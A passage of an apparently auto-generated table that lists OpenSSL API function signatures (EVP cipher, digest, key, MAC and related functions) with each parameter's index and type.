EVP_CIPHER_get0_provider | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get_block_size | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get_flags | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get_iv_length | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get_key_length | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get_mode | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get_nid | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get_type | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_impl_ctx_size | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_meth_dup | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_meth_get_cleanup | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_meth_get_ctrl | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_meth_get_do_cipher | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_meth_get_get_asn1_params | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_meth_get_init | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_meth_get_set_asn1_params | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | evp_cipher_get_number | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *,..(*)(..),void *) | | EVP_CIPHER_names_do_all | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *,..(*)(..),void *) | | EVP_CIPHER_names_do_all | 1 | ..(*)(..) | +| (const EVP_CIPHER *,..(*)(..),void *) | | EVP_CIPHER_names_do_all | 2 | void * | +| (const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | CMS_AuthEnvelopedData_create_ex | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | CMS_AuthEnvelopedData_create_ex | 1 | OSSL_LIB_CTX * | +| (const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | CMS_AuthEnvelopedData_create_ex | 2 | const char * | +| (const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_create_ex | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_create_ex | 1 | OSSL_LIB_CTX * | +| (const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_create_ex | 2 | const char * | +| (const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *) | | EVP_BytesToKey | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *) | | EVP_BytesToKey | 1 | const EVP_MD * | +| (const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *) | | EVP_BytesToKey | 2 | const unsigned char * | +| (const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *) | | EVP_BytesToKey | 3 | const unsigned char * | +| (const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *) | | EVP_BytesToKey | 4 | int | +| (const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *) | | EVP_BytesToKey | 5 | int | +| (const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *) | | EVP_BytesToKey | 6 | unsigned char * | +| (const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *) | | EVP_BytesToKey | 7 | unsigned char * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_cipher | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_dup | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_get0_cipher | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_get_app_data | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_get_block_size | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_get_cipher_data | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_get_iv_length | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_get_key_length | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_get_nid | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_get_num | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_is_encrypting | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_iv | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_original_iv | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | int | +| (const EVP_KDF *) | | EVP_KDF_get0_description | 0 | const EVP_KDF * | +| (const EVP_KDF *) | | EVP_KDF_get0_name | 0 | const EVP_KDF * | +| (const EVP_KDF *) | | EVP_KDF_get0_provider | 0 | const EVP_KDF * | +| (const EVP_KDF *) | | evp_kdf_get_number | 0 | const EVP_KDF * | +| (const EVP_KDF *,..(*)(..),void *) | | EVP_KDF_names_do_all | 0 | const EVP_KDF * | +| (const EVP_KDF *,..(*)(..),void *) | | EVP_KDF_names_do_all | 1 | ..(*)(..) | +| (const EVP_KDF *,..(*)(..),void *) | | EVP_KDF_names_do_all | 2 | void * | +| (const EVP_KDF_CTX *) | | EVP_KDF_CTX_dup | 0 | const EVP_KDF_CTX * | +| (const EVP_KEM *) | | EVP_KEM_get0_description | 0 | const EVP_KEM * | +| (const EVP_KEM *) | | EVP_KEM_get0_name | 0 | const EVP_KEM * | +| (const EVP_KEM *) | | EVP_KEM_get0_provider | 0 | const EVP_KEM * | +| (const EVP_KEM *) | | evp_kem_get_number | 0 | const EVP_KEM * | +| (const EVP_KEM *,..(*)(..),void *) | | EVP_KEM_names_do_all | 0 | const EVP_KEM * | +| (const EVP_KEM *,..(*)(..),void *) | | EVP_KEM_names_do_all | 1 | ..(*)(..) | +| (const EVP_KEM *,..(*)(..),void *) | | EVP_KEM_names_do_all | 2 | void * | +| (const EVP_KEYEXCH *) | | EVP_KEYEXCH_get0_description | 0 | const EVP_KEYEXCH * | +| (const EVP_KEYEXCH *) | | EVP_KEYEXCH_get0_name | 0 | const EVP_KEYEXCH * | +| (const EVP_KEYEXCH *) | | EVP_KEYEXCH_get0_provider | 0 | const EVP_KEYEXCH * | +| (const EVP_KEYEXCH *) | | evp_keyexch_get_number | 0 | const EVP_KEYEXCH * | +| (const EVP_KEYEXCH *,..(*)(..),void *) | | EVP_KEYEXCH_names_do_all | 0 | const EVP_KEYEXCH * | +| (const EVP_KEYEXCH *,..(*)(..),void *) | | EVP_KEYEXCH_names_do_all | 1 | ..(*)(..) | +| (const EVP_KEYEXCH *,..(*)(..),void *) | | EVP_KEYEXCH_names_do_all | 2 | void * | +| (const EVP_KEYMGMT *) | | EVP_KEYMGMT_get0_description | 0 | const EVP_KEYMGMT * | +| (const EVP_KEYMGMT *) | | EVP_KEYMGMT_get0_name | 0 | const EVP_KEYMGMT * | +| (const EVP_KEYMGMT *) | | EVP_KEYMGMT_get0_provider | 0 | const EVP_KEYMGMT * | +| (const EVP_KEYMGMT *) | | evp_keymgmt_get_legacy_alg | 0 | const EVP_KEYMGMT * | +| (const EVP_KEYMGMT *) | | evp_keymgmt_get_number | 0 | const EVP_KEYMGMT * | +| (const EVP_KEYMGMT *,..(*)(..),void *) | | EVP_KEYMGMT_names_do_all | 0 | const EVP_KEYMGMT * | +| (const EVP_KEYMGMT *,..(*)(..),void *) | | EVP_KEYMGMT_names_do_all | 1 | ..(*)(..) | +| (const EVP_KEYMGMT *,..(*)(..),void *) | | EVP_KEYMGMT_names_do_all | 2 | void * | +| (const EVP_MAC *) | | EVP_MAC_get0_description | 0 | const EVP_MAC * | +| (const EVP_MAC *) | | EVP_MAC_get0_name | 0 | const EVP_MAC * | +| (const EVP_MAC *) | | EVP_MAC_get0_provider | 0 | const EVP_MAC * | +| (const EVP_MAC *) | | evp_mac_get_number | 0 | const EVP_MAC * | +| (const EVP_MAC *,..(*)(..),void *) | | EVP_MAC_names_do_all | 0 | const EVP_MAC * | +| (const EVP_MAC *,..(*)(..),void *) | | EVP_MAC_names_do_all | 1 | ..(*)(..) | +| (const EVP_MAC *,..(*)(..),void *) | | EVP_MAC_names_do_all | 2 | void * | +| (const EVP_MAC_CTX *) | | EVP_MAC_CTX_dup | 0 | const EVP_MAC_CTX * | +| (const EVP_MD *) | | EVP_MD_get0_description | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_get0_name | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_get0_provider | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_get_block_size | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_get_flags | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_get_pkey_type | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_get_size | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_get_type | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_dup | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_app_datasize | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_cleanup | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_copy | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_ctrl | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_final | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_flags | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_init | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_input_blocksize | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_result_size | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_update | 0 | const EVP_MD * | +| (const EVP_MD *) | | evp_md_get_number | 0 | const EVP_MD * | +| (const EVP_MD *,..(*)(..),void *) | | EVP_MD_names_do_all | 0 | const EVP_MD * | +| (const EVP_MD *,..(*)(..),void *) | | EVP_MD_names_do_all | 1 | ..(*)(..) | +| (const EVP_MD *,..(*)(..),void *) | | EVP_MD_names_do_all | 2 | void * | +| (const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ossl_cms_DigestedData_create | 0 | const EVP_MD * | +| (const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ossl_cms_DigestedData_create | 1 | OSSL_LIB_CTX * | +| (const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ossl_cms_DigestedData_create | 2 | const char * | +| (const EVP_MD *,const EVP_MD *,int) | | ossl_rsa_pss_params_create | 0 | const EVP_MD * | +| (const EVP_MD *,const EVP_MD *,int) | | ossl_rsa_pss_params_create | 1 | const EVP_MD * | +| (const EVP_MD *,const EVP_MD *,int) | | ossl_rsa_pss_params_create | 2 | int | +| (const EVP_MD *,const OSSL_ITEM *,size_t) | | ossl_digest_md_to_nid | 0 | const EVP_MD * | +| (const EVP_MD *,const OSSL_ITEM *,size_t) | | ossl_digest_md_to_nid | 1 | const OSSL_ITEM * | +| (const EVP_MD *,const OSSL_ITEM *,size_t) | | ossl_digest_md_to_nid | 2 | size_t | +| (const EVP_MD *,const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_v2_new_init | 0 | const EVP_MD * | +| (const EVP_MD *,const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_v2_new_init | 1 | const X509 * | +| (const EVP_MD *,const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_v2_new_init | 2 | const stack_st_X509 * | +| (const EVP_MD *,const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_v2_new_init | 3 | int | +| (const EVP_MD *,const X509_NAME *,const ASN1_BIT_STRING *,const ASN1_INTEGER *) | | OCSP_cert_id_new | 0 | const EVP_MD * | +| (const EVP_MD *,const X509_NAME *,const ASN1_BIT_STRING *,const ASN1_INTEGER *) | | OCSP_cert_id_new | 1 | const X509_NAME * | +| (const EVP_MD *,const X509_NAME *,const ASN1_BIT_STRING *,const ASN1_INTEGER *) | | OCSP_cert_id_new | 2 | const ASN1_BIT_STRING * | +| (const EVP_MD *,const X509_NAME *,const ASN1_BIT_STRING *,const ASN1_INTEGER *) | | OCSP_cert_id_new | 3 | const ASN1_INTEGER * | +| (const EVP_MD *,const unsigned char *,size_t) | | OSSL_STORE_SEARCH_by_key_fingerprint | 0 | const EVP_MD * | +| (const EVP_MD *,const unsigned char *,size_t) | | OSSL_STORE_SEARCH_by_key_fingerprint | 1 | const unsigned char * | +| (const EVP_MD *,const unsigned char *,size_t) | | OSSL_STORE_SEARCH_by_key_fingerprint | 2 | size_t | +| (const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *) | | HMAC | 0 | const EVP_MD * | +| (const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *) | | HMAC | 1 | const void * | +| (const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *) | | HMAC | 2 | int | +| (const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *) | | HMAC | 3 | const unsigned char * | +| (const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *) | | HMAC | 4 | size_t | +| (const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *) | | HMAC | 5 | unsigned char * | +| (const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *) | | HMAC | 6 | unsigned int * | +| (const EVP_MD_CTX *) | | EVP_MD_CTX_dup | 0 | const EVP_MD_CTX * | +| (const EVP_MD_CTX *) | | EVP_MD_CTX_get0_md | 0 | const EVP_MD_CTX * | +| (const EVP_MD_CTX *) | | EVP_MD_CTX_get0_md_data | 0 | const EVP_MD_CTX * | +| (const EVP_MD_CTX *) | | EVP_MD_CTX_get_pkey_ctx | 0 | const EVP_MD_CTX * | +| (const EVP_MD_CTX *) | | EVP_MD_CTX_get_size_ex | 0 | const EVP_MD_CTX * | +| (const EVP_MD_CTX *) | | EVP_MD_CTX_md | 0 | const EVP_MD_CTX * | +| (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 0 | const EVP_MD_CTX * | +| (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | int | +| (const EVP_PKEY *) | | EVP_PKEY_get0 | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get0_DH | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get0_DSA | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get0_EC_KEY | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get0_RSA | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get0_asn1 | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get0_description | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get0_engine | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get0_provider | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get0_type_name | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get_attr_count | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get_bits | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get_id | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get_security_bits | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get_size | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | evp_pkey_get0_DH_int | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | evp_pkey_get0_EC_KEY_int | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | evp_pkey_get0_RSA_int | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,OSSL_PARAM *) | | evp_pkey_get_params_to_ctrl | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,OSSL_PARAM *) | | evp_pkey_get_params_to_ctrl | 1 | OSSL_PARAM * | +| (const EVP_PKEY *,OSSL_PARAM[]) | | EVP_PKEY_get_params | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,OSSL_PARAM[]) | | EVP_PKEY_get_params | 1 | OSSL_PARAM[] | +| (const EVP_PKEY *,const ASN1_OBJECT *,int) | | EVP_PKEY_get_attr_by_OBJ | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,const ASN1_OBJECT *,int) | | EVP_PKEY_get_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (const EVP_PKEY *,const ASN1_OBJECT *,int) | | EVP_PKEY_get_attr_by_OBJ | 2 | int | +| (const EVP_PKEY *,const char *,BIGNUM **) | | EVP_PKEY_get_bn_param | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,const char *,BIGNUM **) | | EVP_PKEY_get_bn_param | 1 | const char * | +| (const EVP_PKEY *,const char *,BIGNUM **) | | EVP_PKEY_get_bn_param | 2 | BIGNUM ** | +| (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | int | +| (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | int | +| (const EVP_PKEY *,int,const char *,const char *,const char *) | | OSSL_ENCODER_CTX_new_for_pkey | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,int,const char *,const char *,const char *) | | OSSL_ENCODER_CTX_new_for_pkey | 1 | int | +| (const EVP_PKEY *,int,const char *,const char *,const char *) | | OSSL_ENCODER_CTX_new_for_pkey | 2 | const char * | +| (const EVP_PKEY *,int,const char *,const char *,const char *) | | OSSL_ENCODER_CTX_new_for_pkey | 3 | const char * | +| (const EVP_PKEY *,int,const char *,const char *,const char *) | | OSSL_ENCODER_CTX_new_for_pkey | 4 | const char * | +| (const EVP_PKEY *,int,int) | | EVP_PKEY_get_attr_by_NID | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,int,int) | | EVP_PKEY_get_attr_by_NID | 1 | int | +| (const EVP_PKEY *,int,int) | | EVP_PKEY_get_attr_by_NID | 2 | int | +| (const EVP_PKEY *,size_t *,SSL_CTX *) | | ssl_cert_lookup_by_pkey | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,size_t *,SSL_CTX *) | | ssl_cert_lookup_by_pkey | 1 | size_t * | +| (const EVP_PKEY *,size_t *,SSL_CTX *) | | ssl_cert_lookup_by_pkey | 2 | SSL_CTX * | +| (const EVP_PKEY *,unsigned char **) | | i2d_KeyParams | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,unsigned char **) | | i2d_KeyParams | 1 | unsigned char ** | +| (const EVP_PKEY *,unsigned char **) | | i2d_PKCS8PrivateKey | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,unsigned char **) | | i2d_PKCS8PrivateKey | 1 | unsigned char ** | +| (const EVP_PKEY *,unsigned char **) | | i2d_PUBKEY | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,unsigned char **) | | i2d_PUBKEY | 1 | unsigned char ** | +| (const EVP_PKEY *,unsigned char **) | | i2d_PrivateKey | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,unsigned char **) | | i2d_PrivateKey | 1 | unsigned char ** | +| (const EVP_PKEY *,unsigned char **) | | i2d_PublicKey | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,unsigned char **) | | i2d_PublicKey | 1 | unsigned char ** | +| (const EVP_PKEY_CTX *) | | EVP_PKEY_CTX_dup | 0 | const EVP_PKEY_CTX * | +| (const EVP_PKEY_CTX *) | | EVP_PKEY_CTX_get0_propq | 0 | const EVP_PKEY_CTX * | +| (const EVP_PKEY_CTX *) | | EVP_PKEY_CTX_get0_provider | 0 | const EVP_PKEY_CTX * | +| (const EVP_PKEY_CTX *) | | EVP_PKEY_CTX_get_data | 0 | const EVP_PKEY_CTX * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_check | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_check | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_cleanup | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_cleanup | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_copy | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_copy | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_digest_custom | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_digest_custom | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_digestsign | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_digestsign | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_digestverify | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_digestverify | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_init | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_init | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_param_check | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_param_check | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_public_check | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_public_check | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_ctrl | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_ctrl | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_ctrl | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_decrypt | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_decrypt | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_decrypt | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_derive | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_derive | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_derive | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_encrypt | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_encrypt | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_encrypt | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_keygen | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_keygen | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_keygen | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_paramgen | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_paramgen | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_paramgen | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_sign | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_sign | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_sign | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_signctx | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_signctx | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_signctx | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_verify | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_verify | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_verify | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_verify_recover | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_verify_recover | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_verify_recover | 2 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_verifyctx | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_verifyctx | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..),..(**)(..)) | | EVP_PKEY_meth_get_verifyctx | 2 | ..(**)(..) | +| (const EVP_RAND *) | | EVP_RAND_get0_description | 0 | const EVP_RAND * | +| (const EVP_RAND *) | | EVP_RAND_get0_name | 0 | const EVP_RAND * | +| (const EVP_RAND *) | | EVP_RAND_get0_provider | 0 | const EVP_RAND * | +| (const EVP_RAND *) | | evp_rand_get_number | 0 | const EVP_RAND * | +| (const EVP_RAND *,..(*)(..),void *) | | EVP_RAND_names_do_all | 0 | const EVP_RAND * | +| (const EVP_RAND *,..(*)(..),void *) | | EVP_RAND_names_do_all | 1 | ..(*)(..) | +| (const EVP_RAND *,..(*)(..),void *) | | EVP_RAND_names_do_all | 2 | void * | +| (const EVP_SIGNATURE *) | | EVP_SIGNATURE_get0_description | 0 | const EVP_SIGNATURE * | +| (const EVP_SIGNATURE *) | | EVP_SIGNATURE_get0_name | 0 | const EVP_SIGNATURE * | +| (const EVP_SIGNATURE *) | | EVP_SIGNATURE_get0_provider | 0 | const EVP_SIGNATURE * | +| (const EVP_SIGNATURE *) | | evp_signature_get_number | 0 | const EVP_SIGNATURE * | +| (const EVP_SIGNATURE *,..(*)(..),void *) | | EVP_SIGNATURE_names_do_all | 0 | const EVP_SIGNATURE * | +| (const EVP_SIGNATURE *,..(*)(..),void *) | | EVP_SIGNATURE_names_do_all | 1 | ..(*)(..) | +| (const EVP_SIGNATURE *,..(*)(..),void *) | | 